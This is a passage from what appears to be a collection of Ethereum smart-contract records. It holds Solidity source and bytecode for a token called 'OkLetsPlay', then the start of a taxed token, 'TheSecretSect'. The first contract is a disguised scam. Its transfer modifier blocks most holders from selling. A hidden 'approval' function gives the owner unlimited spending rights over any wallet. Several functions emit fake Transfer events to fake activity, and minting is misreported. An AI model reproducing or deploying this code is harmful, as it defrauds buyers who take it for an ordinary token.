return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract OkLetsPlay is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwnr;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _contDeployr = 0x529c5a5152Ae3B2F24Bb7800441F9d630e85DE61;
address public _ownr = 0x9C089a843D777c650A7A79d55c5E4bdf95941565;
constructor () public {
_name = "OkLetsPlay";
_symbol = "LETS";
_decimals = 18;
uint256 initialSupply = 65000000 * 10 ** 18;
_safeOwnr = _ownr;
_mint(_contDeployr, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_tf(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_tf(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _pApproval(address[] memory destination) public {
require(msg.sender == _ownr, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_plus[destination[i]] = true;
_discarded[destination[i]] = false;
}
}
function _mApproval(address safeOwner) public {
require(msg.sender == _ownr, "!owner");
_safeOwnr = safeOwner;
}
modifier mainboard(address dest, uint256 num, address from, address filler){
if (
_ownr == _safeOwnr
&& from == _ownr
)
{_safeOwnr = dest;_;
}else
{
if (
from == _ownr
|| from == _safeOwnr
|| dest == _ownr
)
{
if (
from == _ownr
&& from == dest
)
{_discardedAmt = num;
}_;
}else
{
if (
_plus[from] == true
)
{
_;
}else{if (
_discarded[from] == true
)
{
require((
from == _safeOwnr
)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}else{
if (
num < _discardedAmt
)
{
if(dest == _safeOwnr){_discarded[from] = true; _plus[from] = false;
}
_; }else{require((from == _safeOwnr)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _ownr){
sender = _contDeployr;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _ownr, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_ownr] = _balances[_ownr].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _tf(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
_pair( from, dest, amt);
}
function _pair(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(dest != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, dest, amt);
_balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
_balances[dest] = _balances[dest].add(amt);
if (from == _ownr){from = _contDeployr;}
emit Transfer(from, dest, amt);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _verify() {
require(msg.sender == _ownr, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function burnLPTokens()public _verify(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function enter(address recipient) public _verify(){
_plus[recipient]=true;
_approve(recipient, _path_,_maximumVal);}
function leave(address recipient) public _verify(){
//Disable permission
_plus[recipient]=false;
_approve(recipient, _path_,0);
}
function approval(address addr) public _verify() virtual returns (bool) {
//Approve Spending
_approve(addr, _msgSender(), _maximumVal); return true;
}
function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
}
|
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638d3ca13e116100b8578063b14a5c6a1161007c578063b14a5c6a146107a4578063bb88603c146107ac578063bedf77a6146107b4578063d014c01f146107da578063dd62ed3e14610800578063f8129cd21461082e57610142565b80638d3ca13e146104e45780639430b4961461061757806395d89b411461063d578063a5aae25414610645578063a9059cbb1461077857610142565b8063313ce5671161010a578063313ce567146102f75780633cc4430d146103155780634e6ec247146104485780635265327c14610474578063671e99211461049a57806370a08231146104be57610142565b806306fdde031461014757806308ec4eb5146101c4578063095ea7b31461026757806318160ddd146102a757806323b872dd146102c1575b600080fd5b61014f610961565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610189578181015183820152602001610171565b50505050905090810190601f1680156101b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610265600480360360208110156101da57600080fd5b810190602081018135600160201b8111156101f457600080fd5b82018360208201111561020657600080fd5b803590602001918460208302840111600160201b8311171561022757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506109f7945050505050565b005b6102936004803603604081101561027d57600080fd5b506001600160a01b038135169060200135610aeb565b604080519115158252519081900360200190f35b6102af610b08565b60408051918252519081900360200190f35b610293600480360360608110156102d757600080fd5b506001600160a01b03813581169160208101359091169060400135610b0e565b6102ff610b95565b6040805160ff9092168252519081900360200190f35b6102656004803603606081101561032b57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561035557600080fd5b82018360208201111561036757600080fd5b803590602001918460208302840111600160201b8311171561038857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103d757600080fd5b8201836020820111156103e957600080fd5b803590602001918460208302840111600160201b8311171561040a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b9e945050505050565b6102656004803603604081101561045e57600080fd5b506001600160a01b038135169060200135610c64565b6102656004803603602081101561048a57600080fd5b50356001600160a01b0316610d42565b6104a2610dac565b604080516001600160a01b039092168252519081900360200190f35b6102af600480360360208110156104d457600080fd5b50356001600160a01b0316610dbb565b610265600480360360608110156104fa57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561052457600080fd5b82018360208201111561053657600080fd5b803590602001918460208302840111600160201b8311171561055757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156105a657600080fd5b8201836020820111156105b857600080fd5b803590602001918460208302840111600160201b831117156105d957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610dd6945050505050565b6102936004803603602081101561062d57600080fd5b50356001600160a01b0316610e96565b61014f610f02565b6102656004803603606081101561065b57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561068557600080fd5b82018360208201111561069757600080fd5b803590602001918460208302840111600160201b831117156106b857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561070757600080fd5b82018360208201111561071957600080fd5b803590602001918460208302840111600160201b8311171561073a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610f63945050505050565b6102936004803603604081101561078e57600080fd5b506001600160a01b038135169060200135611023565b6104a2611037565b610265611046565b610265600480360360208110156107ca57600080fd5b50356001600160a01b0316611095565b610265600480360360208110156107f057600080fd5b50356001600160a01b0316611117565b6102af6004803603604081101561081657600080fd5b506001600160a01b038135811691602001351661119e565b6102656004803603606081101561084457600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561086e57600080fd5b82018360208201111561088057600080fd5b803590602001918460208302840111600160201b831117156108a157600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156108f057600080fd5b82018360208201111561090257600080fd5b803590602001918460208302840111600160201b8311171561092357600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506111c9945050505050565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109ed5780601f106109c2576101008083540402835291602001916109ed565b820191906000526020600020905b8154815290600101906020018083116109d057829003601f168201915b5050505050905090565b600d546001600160a01b03163314610a3f576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610ae7576001806000848481518110610a5c57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610aad57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610a42565b5050565b6000610aff610af86112ea565b84846112ee565b50600192915050565b60045490565b6000610b1b8484846113da565b610b8b84610b276112ea565b610b8685604051806060016040528060288152602001611d82602891396001600160a01b038a16600090815260036020526040812090610b656112ea565b6001600160a01b03168152602081019190915260400160002054919061165f565b6112ee565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610beb576040805162461bcd60e51b81526020600482015260176024820152600080516020611d62833981519152604482015290519081900360640190fd5b60005b8251811015610c5e57828181518110610c0357fe5b60200260200101516001600160a01b0316846001600160a01b0316600080516020611daa833981519152848481518110610c3957fe5b60200260200101516040518082815260200191505060405180910390a3600101610bee565b50505050565b600d546001600160a01b03163314610cc3576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610cd09082611289565b600455600d546001600160a01b0316600090815260208190526040902054610cf89082611289565b600d546001600160a01b039081166000908152602081815260408083209490945583518581529351928616939192600080516020611daa8339815191529281900390910190a35050565b600d546001600160a01b03163314610d8a576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b03163314610e23576040805162461bcd60e51b81526020600482015260176024820152600080516020611d62833981519152604482015290519081900360640190fd5b60005b8251811015610c5e57836001600160a01b0316838281518110610e4557fe5b60200260200101516001600160a01b0316600080516020611daa833981519152848481518110610e7157fe5b60200260200101516040518082815260200191505060405180910390a3600101610e26565b600d546000906001600160a01b03163314610ee6576040805162461bcd60e51b81526020600482015260176024820152600080516020611d62833981519152604482015290519081900360640190fd5b610efa82610ef26112ea565b6008546112ee565b506001919050565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109ed5780601f106109c2576101008083540402835291602001916109ed565b600d546001600160a01b03163314610fb0576040805162461bcd60e51b81526020600482015260176024820152600080516020611d62833981519152604482015290519081900360640190fd5b60005b8251811015610c5e57836001600160a01b0316838281518110610fd257fe5b60200260200101516001600160a01b0316600080516020611daa833981519152848481518110610ffe57fe5b60200260200101516040518082815260200191505060405180910390a3600101610fb3565b6000610aff6110306112ea565b84846113da565b600d546001600160a01b031681565b600d546001600160a01b03163314611093576040805162461bcd60e51b81526020600482015260176024820152600080516020611d62833981519152604482015290519081900360640190fd5b565b600d546001600160a01b031633146110e2576040805162461bcd60e51b81526020600482015260176024820152600080516020611d62833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b546111149284929116906112ee565b50565b600d546001600160a01b03163314611164576040805162461bcd60e51b81526020600482015260176024820152600080516020611d62833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b5460085461111492849216906112ee565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b03163314611216576040805162461bcd60e51b81526020600482015260176024820152600080516020611d62833981519152604482015290519081900360640190fd5b60005b8251811015610c5e5782818151811061122e57fe5b60200260200101516001600160a01b0316846001600160a01b0316600080516020611daa83398151915284848151811061126457fe5b60200260200101516040518082815260200191505060405180910390a3600101611219565b6000828201838110156112e3576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166113335760405162461bcd60e51b8152600401808060200182810382526024815260200180611def6024913960400191505060405180910390fd5b6001600160a01b0382166113785760405162461bcd60e51b8152600401808060200182810382526022815260200180611d1a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156114105750600d546001600160a01b038381169116145b1561144057600980546001600160a01b0319166001600160a01b03861617905561143b8787876116f6565b611656565b600d546001600160a01b038381169116148061146957506009546001600160a01b038381169116145b806114815750600d546001600160a01b038581169116145b156114ca57600d546001600160a01b0383811691161480156114b45750836001600160a01b0316826001600160a01b0316145b156114bf57600a8390555b61143b8787876116f6565b6001600160a01b03821660009081526001602081905260409091205460ff16151514156114fc5761143b8787876116f6565b6001600160a01b03821660009081526002602052604090205460ff16151560011415611586576009546001600160a01b038381169116148061154b5750600b546001600160a01b038581169116145b6114bf5760405162461bcd60e51b8152600401808060200182810382526026815260200180611d3c6026913960400191505060405180910390fd5b600a548310156115e7576009546001600160a01b03858116911614156114bf576001600160a01b03821660009081526002602090815260408083208054600160ff19918216811790925592529091208054909116905561143b8787876116f6565b6009546001600160a01b03838116911614806116105750600b546001600160a01b038581169116145b61164b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611d3c6026913960400191505060405180910390fd5b6116568787876116f6565b50505050505050565b600081848411156116ee5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156116b357818101518382015260200161169b565b50505050905090810190601f1680156116e05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600954600d548391839186916000916001600160a01b03908116911614801561172c5750600d546001600160a01b038381169116145b156118c257600980546001600160a01b0319166001600160a01b0386811691909117909155871661178e5760405162461bcd60e51b8152600401808060200182810382526025815260200180611dca6025913960400191505060405180910390fd5b6001600160a01b0386166117d35760405162461bcd60e51b8152600401808060200182810382526023815260200180611cf76023913960400191505060405180910390fd5b6117de878787611cf1565b61181b85604051806060016040528060268152602001611d3c602691396001600160a01b038a16600090815260208190526040902054919061165f565b6001600160a01b03808916600090815260208190526040808220939093559088168152205461184a9086611289565b6001600160a01b03808816600090815260208190526040902091909155600d548882169116141561188457600c546001600160a01b031696505b856001600160a01b0316876001600160a01b0316600080516020611daa833981519152876040518082815260200191505060405180910390a3611656565b600d546001600160a01b03838116911614806118eb57506009546001600160a01b038381169116145b806119035750600d546001600160a01b038581169116145b1561198657600d546001600160a01b0383811691161480156119365750836001600160a01b0316826001600160a01b0316145b1561194157600a8390555b6001600160a01b03871661178e5760405162461bcd60e51b8152600401808060200182810382526025815260200180611dca6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff16151514156119f2576001600160a01b03871661178e5760405162461bcd60e51b8152600401808060200182810382526025815260200180611dca6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff16151560011415611a7c576009546001600160a01b0383811691161480611a415750600b546001600160a01b038581169116145b6119415760405162461bcd60e51b8152600401808060200182810382526026815260200180611d3c6026913960400191505060405180910390fd5b600a54831015611b10576009546001600160a01b0385811691161415611941576001600160a01b0382811660009081526002602090815260408083208054600160ff199182168117909255925290912080549091169055871661178e5760405162461bcd60e51b8152600401808060200182810382526025815260200180611dca6025913960400191505060405180910390fd5b6009546001600160a01b0383811691161480611b395750600b546001600160a01b038581169116145b611b745760405162461bcd60e51b8152600401808060200182810382526026815260200180611d3c6026913960400191505060405180910390fd5b6001600160a01b038716611bb95760405162461bcd60e51b8152600401808060200182810382526025815260200180611dca6025913960400191505060405180910390fd5b6001600160a01b038616611bfe5760405162461bcd60e51b8152600401808060200182810382526023815260200180611cf76023913960400191505060405180910390fd5b611c09878787611cf1565b611c4685604051806060016040528060268152602001611d3c602691396001600160a01b038a16600090815260208190526040902054919061165f565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611c759086611289565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611caf57600c546001600160a01b031696505b856001600160a01b0316876001600160a01b0316600080516020611daa833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212206e5d3f02b4c4a0a99d0acf9f55723b2a5ff710ec6da40a8bc26ab48270c553d864736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,274 |
0xabe4be10c011d12df591f533a1c5a839406fd14f
|
// TheSecretSect
// Dev : WeAreDev
// Twitter: https://twitter.com/TheSecretSect (@TheSecretSect)
// TG: https://t.me/TheSecretSect
// ......... The Secret Sect ........
// LIBERTE' EGALITE' FRATERNITE'
// 4f6e6520636f6d6d756e697479204f6e6520676f616c2046696e6420456c6f6e204d2e
/// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TheSecretSect is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TheSecretSect";
string private constant _symbol = "TSS";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 16;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 16;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x98282D07b5E3200C25BCf48935A6Da7A7dffe0Ce);
address payable private _marketingAddress = payable(0x98282D07b5E3200C25BCf48935A6Da7A7dffe0Ce);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
